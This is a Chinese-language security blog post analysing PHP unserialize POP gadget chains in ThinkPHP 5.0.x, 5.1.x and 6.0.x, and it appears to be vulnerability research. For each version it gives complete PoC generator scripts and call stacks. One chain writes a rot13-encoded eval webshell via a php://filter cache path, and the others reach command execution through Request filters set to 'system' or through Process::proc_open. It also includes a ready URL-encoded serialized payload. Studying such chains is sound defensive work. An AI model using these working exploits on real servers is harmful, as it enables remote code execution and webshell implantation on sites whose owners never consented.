ThinkPHP POP链分析

这里主要分析了几个网上比较多出现的thinkphp的pop链条

thinkphp5.0.x

复现环境:thinkphp5.0.14
application/index/controller/index.php添加如下代码,提供反序列化漏洞点。

1
2
3
4
public function index($payload)
{
unserialize($payload);
}

入口__destruct

直接全局搜索function __destruct(),可以用的析构函数不多

也可以搜索function __wakeup(),只有一个,也没办法利用。

一个一个看析构代码,最终在Windows.php存在$this->removeFiles();,其会调用file_exists函数,可以作为跳板触发__toString

跳板_toString

同样全局搜索function __toString,阅读代码发现Module.php中的可以用

Model.php中的__toString方法最终调用到toArray方法

其中,Collection.php中的__toString最终也会调用到Module的toArray

因此,仔细看一看toArray方法有没有可以进一步利用的。

通过读代码,没有找到可以直接造成危害的代码,但是找出了可以触发__call的四个地方,而__call可以作为跳板进一步找寻薄弱点。

跳板__call

这里先不看选择上面的哪一个来触发__call,而先寻找可进一步利用的__call,之后再根据这个__call的要求(比如需要传入哪些参数)来选择这四个中的一个。

全局搜索function __call(,一共有10个,接下来就是一个一个的阅读代码。

最终找到Output.php中的__call,其调用了block函数,这里进入block函数的判断是我们可控的($this->styles可控)

之后block函数调用了writelnwriteln又调用了write函数,最终在write函数中调用了$this->handle->write

那么,我们可以通过反序列化控制$this->handle,从而调用任意类的write函数

如何进到__call

那么到这里来看看我们应该选择之前四个中的哪一个来触发Output::__call。在Output的block函数中有如下代码:
这里的参数$style$message拼接之后成为字符串,因此两个参数都不能是数组类型的,否则会报错。

__call的代码如下:

在调用block之前,向args中插入了一个$method,之后使用call_user_func_array来调用block函数。

这里就相当于

1
$this->block($method, $args[0]);

所以,对于触发这个__call的函数,其传入的参数也不能是数组类型。

根据以上这一点,我们可以排除四个可以触发__call的前两个,而第三个在调用前使用了method_exists来进行判断,所以也不能使用,因此只能使用第四个。

那么对于第三个,需要到达该行代码需要满足一些条件:

因为我们可以控制$this->append,进而可控$name,所以很容易就可以让程序走到else语句中。
Loader::parseName进行了字符串命名风格转换,不影响传入的$name

Step1:
首先看如下代码,会先调用getBindAttr,之后会使用其返回的结果来循环遍历,因此我们需要找到一个存在getBindAttr方法的类,并且最好其返回值是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}

全局搜索function getBindAttr,只有一处OneToOne.php中存在,恰好其返回值是可以通过反序列化来控制的。

OneToOne是一个抽象类,我们需要找到其子类,经过搜索找到了BelongsTo类。

Step2:
经过上面的分析,我们需要将$modelRelation这个变量是BelongsTo的对象,而$modelRelation$this->$relation()的返回值,$relation是我们可控的,因此又需要找到一个方法,使其返回值是我们可控的。

在反序列化中,我们可以控制反序列化后对象的属性值,而对象的属性一般设置有getAttr方法来获取其值,所以搜索function get,之后再挨个读代码判断。

这里找到了一个getPk函数可以利用。

因此,我们可以将$relation设置成getPk,然后再通过控制$this->pk来对$modelRelation进行赋值。

Step3:
还需要解决的是$value变量,其通过$this->getRelationData($modelRelation);获得。

看看getRelationData的代码。我们需要将$value的值赋值为Output对象,这里if语句中的$this->parent$modelRelation->getModel()均是可控的,所以我们可以返回$valueOutput对象

到这里先构造一下payload,使其能够走到__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
namespace think\process\pipes {
class Windows{
private $files = [];
public function __construct($f){
$this->files[] = $f;
}
}
}
namespace think\model{
// 因为Model是抽象类,使用的是Model的实现类
class Merge {
protected $data = ["a" => ""];
protected $pk;
protected $parent;
protected $append = ["a"=> "getPk"];

public function setParent($parent)
{
$this->parent = $parent;
}
public function setPk($pk)
{
$this->pk = $pk;
}
}
}
namespace think\model\relation{
class BelongsTo{
protected $bindAttr = ["1" => "args"];
protected $model = true;
}
}
namespace think\console{
class Output
{
protected $styles = ['getAttr'];
private $handle;
public function setHandle( $handle)
{
$this->handle = $handle;
}
}
}

$output = new think\console\Output(); // __call

$belong = new \think\model\relation\BelongsTo();
$merge = new think\model\Merge(); // __toString
$merge->setParent($output);
$merge->setPk($belong);

$window = new \think\process\pipes\Windows($merge); // __destruct

echo urlencode(serialize($window));

调用任意write方法

在OutPut类的write方法中,我们可以通过控制$this->handle来调用任意类的write方法。

全局搜索function write(,查找可用的类。

这里我找到了Redis类,其write方法如下。

这里又调用了$this->handler->set方法,全局搜索function set(,同样查找可利用的类

找到了File类的set方法存在写php文件的代码。

set方法写文件

在set函数,使用file_put_contents写文件

1
2
3
4
5

$filename = $this->getCacheKey($name);`
...
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

其中$this->getCacheKey代码为

因此,$filename的一部分是可控的,并且名字是可以算出的。

在写完文件之后,会调用$this->setTagItem,其中代码如下,可以看见又调用了一次set函数,而且其中的$value可以是传入的filename

因此,可以将$this->options['path']设置成php://filter/write=string.rot13/resource=<?cuc riny($_CBFG[1]);?>,使用伪协议来将"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"进行编码转换,从而写入真正的webshell。

需要注意的是,这需要在linux环境下才能生成,windows环境文件名不允许?

pop链和poc

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
File.php:153: file_put_contents()
Driver.php:200, think\cache\Driver->set()
File.php:155, think\cache\driver\File->setTagItem()
File.php:153, think\cache\driver\File->set()
Redis.php:103, think\session\driver\Redis->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array()
Output.php:212, think\console\Output->__call()
Model.php:869, think\console\Output->getAttr()
Model.php:869, think\model\Merge->toArray()
Model.php:893, think\model\Merge->toJson()
Model.php:2210, think\model\Merge->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php

namespace think\process\pipes {
class Windows{
private $files = [];

public function __construct($f){
$this->files[] = $f;
}
}
}

namespace think\model{
class Merge {
protected $data = ["a" => ""];
protected $pk;
protected $parent;
protected $append = ["a"=> "getPk"];

public function setParent($parent)
{
$this->parent = $parent;
}

public function setPk($pk)
{
$this->pk = $pk;
}
}
}

namespace think\model\relation{
class BelongsTo{
protected $bindAttr = ["1" => "args"];
protected $model = true;

}
}

namespace think\console{
class Output
{
protected $styles = ['getAttr'];
private $handle;

public function setHandle( $handle)
{
$this->handle = $handle;
}
}
}

namespace think\session\driver{
class Redis{
protected $handler;
protected $config = [
"expire" => -1,
"session_name" => ""
];
public function setHandler($handler){
$this->handler = $handler;
}
}
}

namespace think\cache\driver{
class File{
protected $options = [
"expire" => "0",
"path" => 'php://filter/write=string.rot13/resource=<?cuc riny($_CBFG[1]);?>',
"cache_subdir" => null,
"prefix" => null,
"data_compress" => null
];
protected $tag = true;
}
}

namespace {
$file = new think\cache\driver\File(); // set

$redis = new \think\session\driver\Redis(); // write
$redis->setHandler($file);

$output = new think\console\Output(); // __call
$output->setHandle($redis);

$belong = new \think\model\relation\BelongsTo();
$merge = new think\model\Merge(); // __toString
$merge->setParent($output);
$merge->setPk($belong);

$window = new \think\process\pipes\Windows($merge); // __destruct
echo urlencode(serialize($window));
}


// O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CMerge%22%3A4%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3B%7Ds%3A5%3A%22%00%2A%00pk%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A4%3A%22args%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A26%3A%22think%5Csession%5Cdriver%5CRedis%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bs%3A1%3A%220%22%3Bs%3A4%3A%22path%22%3Bs%3A65%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D%3C%3Fcuc+riny%28%24_CBFG%5B1%5D%29%3B%3F%3E%22%3Bs%3A12%3A%22cache_subdir%22%3BN%3Bs%3A6%3A%22prefix%22%3BN%3Bs%3A13%3A%22data_compress%22%3BN%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bi%3A-1%3Bs%3A12%3A%22session_name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A5%3A%22getPk%22%3B%7D%7D%7D%7D

生成的webshell文件名为<?cuc riny($_CBFG[1]);?>3b58a9545013e88c7186db11bb158c44.php

thinkphp5.1.x

复现环境:thinkphp5.1.41
application/index/controller/index.php添加如下代码,提供反序列化漏洞点。

1
2
3
4
public function index($payload)
{
unserialize($payload);
}

入口__destruct

入口和thinkphp5.0的一样,也是Windows.php存在$this->removeFiles();,可以触发__toString方法

跳板__toString

全局搜索function __toString,查找可以利用的toString方法,找到Conversion.php中的__toString调用了toArray,toArray存在可以触发__call的代码

通过反序列化设置$this->append,进而控制$key$name,最终调用$relation->append($name)

$relation$this->getRelation($key)的返回值,其返回值也是可控。

接下来就是找可利用的__call了,之前的写文件的链好像可以用,但是这次找另外的。

跳板__call

找到Request__call方法,代码如下

我们可以通过控制$this->hook,来控制call_user_func_array,因为$args经过了array_unshift,所以传入call_user_func_array的第二个参数实际值是[$this, $args]

因此,这里php的原生函数没有可以直接利用的,我们可以将其第一个参数设置成[class, method],来调用任意类的任意方法。

链1:使用Request类

通过上面的分析,我们已经可以调用任意类的任意方法了,如果分析过thinkphp5的rce漏洞就知道,Requset类中的input函数是利用连中很重要的一环,通过input函数的filter过滤来进行rce。那么这里我们也尝试去调用Requestinput函数。

从哪里进入到input函数

首先如果直接调用input函数,传入函数的参数是$this, $args我们没有办法直接控制$data变量,从而无法进行rce,那么就需要寻找那里调用了input函数。

查看input的调用可以发现,除了第一个param函数之外,别的都会将$name作为input的第二个参数进行传入,那么会对其强制转换为string

而对于调用input的函数而言,这里以get函数为例,其传入的第一个参数即为上面的$this,是Requet对象,对其进行强制转成string类型,会报错终止程序,因此不可选。

所以,就剩下了一个parm函数可以用。

我们需要走到963行的input调用处,而其必须的条件是$name为true,所以直接调用parm不可取。

接下来寻找那里调用了parm函数。

经过查看函数调用,找到了两处可以满足条件的,就是isAjaxisPjax函数。

我们可以通过控制$this->config来使得param函数的参数为true,从而进入到我们想要的input函数中。

进入input函数之后

在parm函数中,我们可以控制调用input函数的第一个参数,而且第二个参数值为空字符串""

那么再input函数中,我们通过控制$this->filter传入我们的过滤器,再经过array_walk_recursive($data, [$this, 'filterValue'], $filter);就可以达到rce的效果。

pop链和poc

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Request.php:1466, call_user_func()
Request.php:1381, think\Request->filterValue()
Request.php:1381, array_walk_recursive()
Request.php:1381, think\Request->input()
Request.php:966, think\Request->param()
Request.php:1683, think\Request->isPjax()
Request.php:331, call_user_func_array()
Request.php:331, think\Request->__call()
Conversion.php:197, think\Request->append()
Conversion.php:197, think\model\Pivot->toArray()
Conversion.php:228, think\model\Pivot->toJson()
Conversion.php:244, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

namespace think\process\pipes {
class Windows
{
private $files = [];
public function __construct($file)
{
$this->files[] = $file;
}
}
}

namespace think {
abstract class Model
{
private $relation;
protected $hidden = [0 => true];
protected $append = [1 => ["whoami"]];

public function __construct($relation)
{
$this->relation = [1 => $relation];
}
}
}

namespace think\model {
use think\Model;

class Pivot extends Model
{
}
}

namespace think {
class Request
{
protected $hook;
protected $config = ['var_pjax' => ''];
protected $server = ["REQUEST_METHOD" =>"POST"];
protected $post = [];
protected $param = ["calc"];
protected $filter = ["system"];

public function __construct()
{
$this->hook = ["append" => [$this, "isPjax"]];
}
}
}

namespace {
$request = new think\Request(); // __call

$conversion = new think\model\Pivot($request); // __toString

$windows = new think\process\pipes\Windows($conversion); // __destruct

echo urlencode(serialize($windows));
}

链2:使用Process类

网上搜索thinkphp5.1.x pop链,一般都是使用的上面的Request类,既然上面可以调用任意类的任意方法,那么攻击面肯定远远不止Request类。

这里我找到了Processstart方法。

其中使用了proc_open函数来执行系统命令,而且执行的命令$commandline和传入的参数均是我们可以控制的。

pop链和poc

调用栈:

1
2
3
4
5
6
7
8
9
10
11
Process.php:234, proc_open()
Process.php:234, think\Process->start()
Request.php:331, call_user_func_array:()
Request.php:331, think\Request->__call()
Conversion.php:197, think\Request->append()
Conversion.php:197, think\model\Pivot->toArray()
Conversion.php:228, think\model\Pivot->toJson()
Conversion.php:244, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

namespace think\process\pipes {
class Windows
{
private $files = [];

public function __construct($file)
{
$this->files[] = $file;
}
}
}

namespace think {
abstract class Model
{
private $relation;
protected $hidden = [0 => true];
protected $append = [1 => ["whoami"]];

public function __construct($relation)
{
$this->relation = [1 => $relation];
}
}
}

namespace think\model {

use think\Model;

class Pivot extends Model
{
}
}

namespace think {
class Request
{
protected $hook;

public function __construct($hook)
{
$this->hook = ["append" => [$hook, "start"]];
}
}

class Process
{
private $status = "";
private $outputDisabled = false;
private $commandline = "calc";
private $enhanceWindowsCompatibility = false;
}
}

namespace {
$process = new think\Process(); // start

$request = new think\Request($process); // __call

$conversion = new think\model\Pivot($request); // __toString

$windows = new think\process\pipes\Windows($conversion); // __destruct

echo urlencode(serialize($windows));
}

thinkphp6.0.x(6.1.0也可用)

复现环境:thinkphp6.0.13
使用composer安装:

1
composer create-project topthink/think tp6.0.13 6.0.13

之后更改composer.json,把require的topthink/framework改成6.0.13

1
2
3
4
5
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.13",
"topthink/think-orm": "^2.0"
},

application/index/controller/index.php添加如下代码,提供反序列化漏洞点。

1
2
3
4
public function index($payload)
{
unserialize($payload);
}

入口__destruct

入口寻找析构函数,这里我将范围固定在了thinkphp的自家框架里。

只有两个,其中的Model.php的调用了$this->save();,跟进save函数,发现其又调用了一系列的函数。

阅读$this->setAttrs,其内部调用了$this->setAttr,而在setAttr满足条件可以调用任意类的__toString方法。

如果我们能控制$this->setAttrs的参数$data,那就可以走到__toString这句代码处。

然而__destruct调用的save函数没有携带参数,因此再save函数中调用的$this->setAttrs参数为空数组。

接下来看看$this->updateData()函数。其内部会调用$this->autoRelationUpdate();,而在autoRelationUpdate中如果满足一定条件按,会再次调用Model类的save函数,而且其参数$val是可控的。

那么到这里,只要我们一路通过控制类的成员变量,就可以调用到任意类的__toString方法

这里的调用栈为

1
2
3
4
5
6
7
8
任意类的__toString()
Attribute.php:388, think\model\Pivot->setAttr()
Attribute.php:356, think\model\Pivot->setAttrs()
Model.php:530, think\model\Pivot->save()
RelationShip.php:790, think\model\Pivot->autoRelationUpdate()
Model.php:608, think\model\Pivot->updateData()
Model.php:536, think\model\Pivot->save()
Model.php:1066, think\model\Pivot->__destruct()

跳板__toString

全局搜索function __toString,一个一个阅读,最终定位到Url类,其会调用$this->build()方法,而build方法中有许多可以作为跳板调用__call的代码。

其中的403行调用__call时传入两个可控的参数,而429行传入的是一个可控的参数。

接下来寻找可用的__call跳板

跳板__call

全局搜索function __call(,有非常多的类,这也代表有非常多的可能性,这里我只记录一条可以rce的链子。

在Channel类的__call,调用了其$this->log方法,log中调用了$this->record,record会调用$this->save()

在save函数中,我们可以调用任意类的save方法。

需要注意的是,调用log方法的时候第三个参数类型必须是array,而如果选择前面两个可控参数来调用__call的话,这里将会不能满足第三个参数是数组类型。

因此,选择前面429行的那个函数来触发__call

寻找可用的save方法

全局搜索function save(,最终定位到Store类的save方法。其调用$this->serialize进行序列化,然而在serialize函数中可以通过控制$this->serialize变量来指定调用的原生函数,其中的参数$data也是可控的,因此我们可以执行任意的函数,并传入其参数。

但是在执行到$this->serialize之前,需要先执行$this->clearFlashData(),其中会调用$this->delete,其会要求$this->data必须是一个数组类型,否则将会报错而退出程序。

因此,我们上面实际上执行到$this->serialize的时候,其参数$this->data是数组类型。我们无法直接调用system函数来rce。

但是,我们可以将$this->serialize[0]设置成call_user_func,将第二个参数设置成[class, method]来调用任意类的任意方法,这样攻击面就放大了太多。

Request类的input函数攻击连

我们可以使用之前讲过的Request类的input函数这条攻击连来进行rce。

首先还是调用Request类的param方法,通过控制类属性,直接走到最后的input方法中

之后就是前面的老攻击手法了。

input函数中调用$this->filterData,通过控制filter过滤器,在过滤的时候执行任意函数,从而rce。

pop链和poc

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Request.php:1423, call_user_func()
Request.php:1423, think\Request->filterValue()
Request.php:1303, array_walk_recursive()
Request.php:1303, think\Request->filterData()
Request.php:1287, think\Request->input()
Request.php:871, think\Request->param()
Store.php:324, call_user_func:{}()
Store.php:324, think\session\Store->serialize()
Store.php:261, think\session\Store->save()
Channel.php:145, think\log\Channel->save()
Channel.php:104, think\log\Channel->record()
Channel.php:279, think\log\Channel->log()
Channel.php:284, think\log\Channel->__call()
Url.php:429, think\log\Channel->getDomainBind()
Url.php:429, think\route\Url->build()
Url.php:505, think\route\Url->__toString()
Attribute.php:388, think\model\Pivot->setAttr()
Attribute.php:356, think\model\Pivot->setAttrs()
Model.php:530, think\model\Pivot->save()
RelationShip.php:790, think\model\Pivot->autoRelationUpdate()
Model.php:608, think\model\Pivot->updateData()
Model.php:536, think\model\Pivot->save()
Model.php:1066, think\model\Pivot->__destruct()

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php

namespace think {
abstract class Model
{
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];

public function __construct($value)
{
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' =>
["n" => $value]
];
}
}

class App
{
protected $request;
}

class Request
{
protected $mergeParam = true;
protected $param = ["calc"];
protected $filter = "system";
}
}

namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}

namespace think\route {
use think\App;
class Url
{
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;

public function __construct($route)
{
$this->route = $route;
$this->app = new App();
}
}
}

namespace think\log {
class Channel
{
protected $lazy = false;
protected $logger;
protected $log = [];

public function __construct($logger)
{
$this->logger = $logger;
}
}
}

namespace think\session {
class Store
{
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";

public function __construct($data)
{
$this->data = [$data, "param"];
}
}
}


namespace {
$request = new think\Request(); // param
$store = new think\session\Store($request); // save
$channel = new think\log\Channel($store); // __call
$url = new think\route\Url($channel); // __toString
$model = new think\model\Pivot($url); // __destruct
echo urlencode(serialize($model));
}


文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2022/11/10/thinkphp/thinkphp pop链分析/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog